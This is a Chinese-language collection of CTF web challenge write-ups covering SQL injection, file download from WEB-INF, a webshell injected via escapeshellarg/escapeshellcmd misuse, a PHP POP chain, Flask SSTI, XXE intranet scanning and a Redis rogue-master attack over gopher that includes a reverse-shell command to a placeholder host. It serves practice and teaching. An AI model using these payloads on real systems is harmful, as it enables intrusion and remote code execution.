[GXYCTF2019]BabySQli
一个登录框直接开搞,万能密码试了不行,已经说了是sql就没着急去考虑弱口令什么的!sqlmap测出时间盲注,直接梭哈,但是太久了,而且密码貌似还是md5加密的,所以脱库的价值不大,因为貌似里面没有flag,可能就是要让我们登录给flag
cmd5在线碰撞失败。。。。
1 select * from user where username = '$ name'
也就是说,那这个sql执行的结果里面的密码来进行比对,这里我们可以通过union去控制返回的结果,只不过结果不会回显到页面
这里只要查询结果里面的用户名是admin就会去比对密码,按照惯例第3列就是密码了,于是我们利用数组的md5返回null进行登录
1 name=1' union select 1,'admin',null# & pw[]=1
[RoarCTF 2019]Easy Java java来咯!
help这个链接考虑文件下载漏洞,但是要改成post请求,而且得bp去发包,反正我用hackbar不行!
WEB-INF 是Java的WEB应用的安全目录。
WEB-INF主要包含以下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件
直接去读/WEB-INF/web.xml,因为这里面定义了映射关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_ 4_ 0.xsd" version="4.0"> <welcome-file-list> <welcome-file>Index</welcome-file> </welcome-file-list> <servlet> <servlet-name>IndexController</servlet-name> <servlet-class>com.wm.ctf.IndexController</servlet-class> </servlet> <servlet-mapping> <servlet-name>IndexController</servlet-name> <url-pattern>/Index</url-pattern> </servlet-mapping> <servlet> <servlet-name>LoginController</servlet-name> <servlet-class>com.wm.ctf.LoginController</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginController</servlet-name> <url-pattern>/Login</url-pattern> </servlet-mapping> <servlet> <servlet-name>DownloadController</servlet-name> <servlet-class>com.wm.ctf.DownloadController</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadController</servlet-name> <url-pattern>/Download</url-pattern> </servlet-mapping> <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> <servlet-mapping> <servlet-name>FlagController</servlet-name> <url-pattern>/Flag</url-pattern> </servlet-mapping> </web-app>
可以看到/Flag这个目录对应的是com.wm.ctf.FlagController.class文件,于是我们再通过/WEB-INF/classes/这个去读
1 filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
接着反编译即可
[CISCN2019 华北赛区 Day2 Web1]Hack World 这题很明确就是sql注入,而且有过滤提示的sql注入,于是我们就可以来fuzz
过滤了许多东西,union注入反正是不可以的了,试试布尔盲注,这个主要得关注页面的回显,发现id=1的时候回显是特殊的!虽然没有and和or了,空格也没了,但是可以写出下面的payload
1 id=if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
利用()去绕过空格的过滤,快马加鞭直接脚本走起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl = "http://4dbddb56-c028-4c0b-92a9-61a56c03ab6b.node5.buuoj.cn:81/index.php" result = "" i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f"if(ascii(substr((select(flag)from(flag)),{i} ,1))>{mid} ,1,2)" data = {"id" :payload} res = requests.post(url,data = data) if "glzjin" in res.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result) print (result)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
这玩意第一想法利用管道符逃逸,但是不行,看到两个转义的函数,就想到的我之前写的一篇文章
escapeshellarg与escapeshellcmd的弄巧成拙-CSDN博客
然后就是的,之后写入木马
1 127.0.0.1' <?=@eval($ _ POST[1]);?> -oN shell.phtml '
访问是下载,那么就是没解析了,怀疑两个方面,一是这个目录没执行权限,而是本来就不解析phtml
于是我加入了xff头并且把phtml改成了php这样就两个方面都考虑了,果然可以,rce拿flag即可!
[MRCTF2020]Ezpop 有点意思,好久没做pop链了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html# //And Crack It! class Modifier { protected $ var; public function append($ value){ include($ value); } public function _ _ invoke(){ $ this->append($ this->var); } } class Show{ public $ source; public $ str; public function _ _ construct($ file='index.php'){ $ this->source = $ file; echo 'Welcome to '.$ this->source."<br>"; } public function _ _ toString(){ return $ this->str->source; } public function _ _ wakeup(){ if(preg_ match("/gopher|http|file|ftp|https|dict|\. \. /i", $ this->source)) { echo "hacker"; $ this->source = "index.php"; } } } class Test{ public $ p; public function _ _ construct(){ $ this->p = array(); } public function _ _ get($ key){ $ function = $ this->p; return $ function(); } } if(isset($ _ GET['pop'])){ @unserialize($ _ GET['pop']); } else{ $ a=new Show; highlight_ file(_ _ FILE_ _ ); }
链子真的简单,关键是如何触发__toString,这里死活没想到正则那里当作了字符串,当我以为一切顺利的时候现实又给了我一巴掌,于是我本地debug发现只触发到,toString为啥?我输出了一下str发现是NULL,于是我检查了我的序列化字符一顿历程,我才知道我触发的是第二个实例的toString,那个实例里面的str就是NULL。之前没遇到过,所以最后的exp就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Modifier { protected $ var="php://filter/convert.base64-encode/resource=flag.php"; } class Show{ public $ source; public $ str; } class Test{ public $ p; } $ a = new Show();$ b = new Test();$ c = new Modifier();$ d = new Show();$ a -> source = $ d;$ d -> str = $ b;$ b -> p = $ c;echo urlencode(serialize($ a));
[WesternCTF2018]shrine 给了源码很明显是ssti
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/<path:shrine>' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
在当前作用域将config设置为none了,然后命令执行也不行,但是设置的是当前局部作用域,我们从全局来
1 {{ url_ for._ _ globals_ _ ['current_ app'].config}}
current_app 指向的是内存中真实的 Flask 应用对象
[NPUCTF2020]ReadlezPHP 第一想法ez,尝试了system和passthru皆报500,于是本地测试也是不行,然后想错了,以为是新姿势,兴高采烈看wp,没想到果然是我想错了,直接phpinfo就好了,但是参数会影响返回的长度,所以用过assert就ok了
[SWPU2019]Web1 一个登录框,但是有注册,优先考虑登录后的漏洞
登录上去有个发布广告有个xss但是应该没啥用,但是有二次注入
1 2 3 4 5 6 7 闭合方式为',or被过来,可以用group by来判断列数 1'/**/group/**/by/**/23,' 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 mysql.innodb_ table_ stats用这个替代information那个表 表:1'/**/union/**/select/**/1,(select/**/group_ concat(table_ name)/**/from/**/mysql.innodb_ table_ stats/**/where/**/database_ name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 无列名爆字段: 1'/**/union/**/select/**/1,(select/**/group_ concat(c)/**/from (select/**/1,2,3/**/as/**/c/**/union/**/select*from/**/users)/**/as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
因为or没了所以采用无列名注入,参考我之前文章:从information被ban到无列名注入-CSDN博客
[NCTF2019]True XML cookbook 一个xml,可以从来个角度发现,一是前端的js,或者你直接抓包也会发现,于是尝试最基础的xxe,可以读文件,但是不知道flag在哪,然后这题考的是内网探测
1 2 /proc/net/fib_ trie 更有用,但它通常只给你一个“范围”; 而 /etc/hosts 往往是空的,除非管理员手动配置过。
ok以后尽量用/proc/net/fib_trie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requestsfrom requests.exceptions import Timeouturl = "http://2edd14f9-1114-42cc-9d90-1f036abfb269.node5.buuoj.cn:81/doLogin.php" headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0" , "Accept" : "application/xml, text/xml, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate, br" , "Content-Type" : "application/xml;charset=utf-8" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : "http://2edd14f9-1114-42cc-9d90-1f036abfb269.node5.buuoj.cn:81/" , "Connection" : "close" , "Referer" : "http://2edd14f9-1114-42cc-9d90-1f036abfb269.node5.buuoj.cn:81/" , "Priority" : "u=0" } for i in range (1 , 255 ): print (i) data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i} ">]><user><username>&flag;</username><password>1</password></user>' try : response = requests.post( url, headers=headers, data=data, verify=False , timeout=1 ) response.raise_for_status() print ("状态码:" , response.status_code) print ("响应内容:" , response.text) if "flag{" in response.text: break except Timeout: print ("错误: 请求超时,服务器未在指定时间内响应" )
[网鼎杯 2020 玄武组]SSRFMe 以这道题来了解一下redis主从复制,因此不分析代码
一开始考虑的是能不能写个木马进去,但是这里不行,而且告诉了你redis的密码,于是我去连接但是连接不上,应该是内网开了redis,这里考虑redis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,那么此时就可以通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据就可以通过主从复制复制到其它从redis。
只要是未禁用 SLAVEOF 命令且未授权或者知道密码,就可以打。主从复制简单来说就是一个同步功能,那么这里的思路就是我们伪造一台主redis
1 2 3 4 5 https://github.com/n0b0dyCN/redis-rogue-server # redis-rogue-server,未授权使用https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server # Awsome-Redis-Rogue-Server,有授权使用
这里要将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块
先开启一下主服务
1 python3 redis_ rogue_ server.py -v -path exp.so -lport 21000
然后利用gopher协议对redis进行一个利用
1 2 3 4 5 6 先set备份路径为/tmp gopher://0.0.0.0:6379/_ auth gopher://0.0.0.0:6379/_ auth root config set dir /tmp/ quit
接下来就可以进行一个同步了
1 2 3 4 5 6 gopher://0.0.0.0:6379/_ auth gopher://0.0.0.0:6379/_ auth root config set dbfilename exp.so slaveof xx.xx.xx.xx 21000 quit
加载模块
1 2 3 4 5 gopher://0.0.0.0:6379/_ auth gopher://0.0.0.0:6379/_ auth root module load ./exp.so quit
关闭主从同步
1 2 3 4 5 gopher://0.0.0.0:6379/_ auth gopher://0.0.0.0:6379/_ auth root slaveof NO ONE quit
命令执行获取flag或者反弹shell
1 2 3 4 5 gopher://0.0.0.0:6379/_ auth gopher://0.0.0.0:6379/_ auth root system.exec "cat /flag" quit
这个是反弹shell:system.rev xx.xx.xx.xx 6666
总结 算是了解了主从复制这么个东西,然后再说说遇到的问题吧,首先是buu的靶机不出网的问题,然后官方是给了解决办法的搭建个隧道,然后另外就是我的工具再kali然后隧道是和物理机搭建的,但是我不想下载东西了,于是了解到可以使用流量转发
1 netsh interface portproxy add v4tov4 listenport=21000 listenaddress=ip connectport=21000 connectaddress=kaliip
然后就转发到kali就去,ok不错!
[西湖论剑 2022]Node Magical Login 源码:https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login
非预期 这个非预期是我觉得是非预期,而且我看了市面上的wp似乎都没写,难道我是第一人???
看到源码:
先是拿到第一个flag,后面我去跟进了一下这个SECRET_COOKIE
如果env没set这玩意,就会用后面那个,我去试了一下,就拿到flag了哈哈哈
预期 预期的话看
我们这里虽然能控制,checkcode但是有个小写转化,所以我们这里给个数组抛出异常跳出try就ok,这个我就没做了不过也简单,说是用json格式,不过我感觉不用也行